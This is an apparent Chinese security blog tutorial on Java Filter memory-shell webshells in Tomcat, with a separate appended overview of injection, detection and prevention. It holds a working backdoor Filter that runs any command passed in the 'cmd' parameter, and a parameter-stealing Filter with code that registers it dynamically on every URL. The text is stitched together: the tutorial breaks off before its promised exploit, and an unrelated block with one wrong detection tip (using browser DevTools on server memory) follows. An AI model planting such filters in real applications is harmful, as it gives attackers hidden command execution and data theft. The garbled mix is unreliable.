java Filter内存马分析

本文探讨了Java Web中的Filter内存马,介绍了其概念、环境搭建、Filter内存马的探索,包括Tomcat Filter的执行流程和攻击思路分析。通过分析,展示了如何动态注册Filter马并编写exp,强调了其在攻防中的隐蔽性和危害性。

目录

0x01 什么是Filter马

0x02 环境搭建

0x03 Filter内存马探索

1.tomcat Filter 的流程分析

2.攻击思路分析

0x04 Filter内存马exp编写


本文由掌控安全学院 - xilitter 投稿

知识基础:

刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知识和工作流程和Tomcat 架构的相关内容。

0x01 什么是Filter马

内存马就是无文件木马,无文件落地,它通常会存在进程,内存或者java虚拟机中,特点更加隐蔽,难以排查,并且也难以删除。而今天学习的Filter内存马是传统web应用型内存马,主要将恶意代码注入到过滤器中,当过滤器拦截servlet请求的参数时,过滤器中的恶意代码就会执行。

0x02 环境搭建

首先配置一个 servlet 的web项目,
 

图片


然后一直点下一步就好了,它会自动帮我们生成一个简单的servlet
pom.xml中导入tomcat相关依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.38</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-websocket</artifactId>
            <version>9.0.38</version>
        </dependency>

方便之后调试代码,在这之后我们创建一个自定义的Filter过滤器

package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤功能");
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("cmd"));
        Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
    }
}

重写了doFilter方法,里面添加恶意代码,接收cmd参数,执行任意命令。web.xml中配置相关参数

<filter>
    <filter-name>MyFilter</filter-name>
    <filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>MyFilter</filter-name>
    <url-pattern>/MyFilter</url-pattern>
</filter-mapping>

这里我定义的是/MyFilter路由,在访问这个路由时,就会被我们自定义的过滤器拦截

0x03 Filter内存马探索

这个时候是不是就有点像内存马的样子,我们注册了一个恶意的 /MyFilter 路由,访问这个路由可以执行任意代码。测试一下
 

### Filter内存原理 Filter内存是一种基于Java Web应用的恶意代码注入技术,它利用Java Servlet Filter机制实现。在Java Web应用中,Filter用于在请求到达Servlet之前或响应返回客户端之前对请求和响应进行预处理和后处理。攻击者通过向应用程序的内存中动态注入自定义的Filter代码,使得该Filter在应用运行期间持续生效。 当客户端发送请求时,请求会先经过FilterChain,注入的恶意Filter会被触发执行,从而可以对请求和响应进行篡改、窃取敏感信息等恶意操作。由于Filter内存是在内存中运行,不落地到磁盘,传统的文件扫描工具难以检测到它。 ### Filter内存实现 以下是一个简单的Filter内存实现示例: ```java import javax.servlet.*; import java.io.IOException; // 恶意Filter示例 public class MaliciousFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 可以在这里执行恶意操作,例如窃取请求参数 java.util.Enumeration<String> parameterNames = request.getParameterNames(); while (parameterNames.hasMoreElements()) { String paramName = parameterNames.nextElement(); String paramValue = request.getParameter(paramName); // 可以将参数信息发送到攻击者的服务器 System.out.println("Parameter: " + paramName + " = " + paramValue); } // 继续执行正常的FilterChain chain.doFilter(request, response); } @Override public void destroy() {} } ``` 要将这个Filter注入到Web应用中,攻击者通常会利用应用的漏洞,如反序列化漏洞、命令执行漏洞等,通过反射机制将Filter动态注册到Servlet容器中。例如,在Tomcat中可以通过以下方式注册: ```java import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import java.lang.reflect.Field; // 动态注册Filter public class FilterInjector { public static void injectFilter(ServletContext context) throws Exception { FilterRegistration.Dynamic registration = context.addFilter("MaliciousFilter", MaliciousFilter.class); registration.addMappingForUrlPatterns(null, false, "/*"); } } ``` ### Filter内存检测 - **日志分析**:分析Web应用的访问日志,查看是否存在异常的请求模式或参数。如果发现大量异常的请求参数被访问,可能存在Filter内存在窃取信息。 - **监控内存**:使用工具如Chrome DevTools的Performance面板(勾选"Memory"选项)监控应用的内存使用情况。如果发现内存占用异常增长或出现不明的内存对象,可能存在内存。 - **代码审计**:定期对Web应用的代码进行审计,检查是否存在动态注册Filter的代码。可以使用静态代码分析工具辅助审计。 ### Filter内存防范 - **修复漏洞**:及时修复Web应用中的漏洞,如反序列化漏洞、命令执行漏洞等,防止攻击者利用这些漏洞注入Filter内存。 - **权限管理**:严格控制应用的运行权限,避免应用以过高的权限运行,减少攻击者注入恶意代码的风险。 - **安全配置**:对Servlet容器进行安全配置,限制动态注册Filter的权限。例如,在Tomcat中可以通过配置`context.xml`文件来限制应用的权限。 - **实时监控**:使用运维监控系统实时收集应用的性能指标,如响应时间、吞吐量、错误率等。如果发现性能异常或出现故障,及时分析问题的根源并进行改进。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值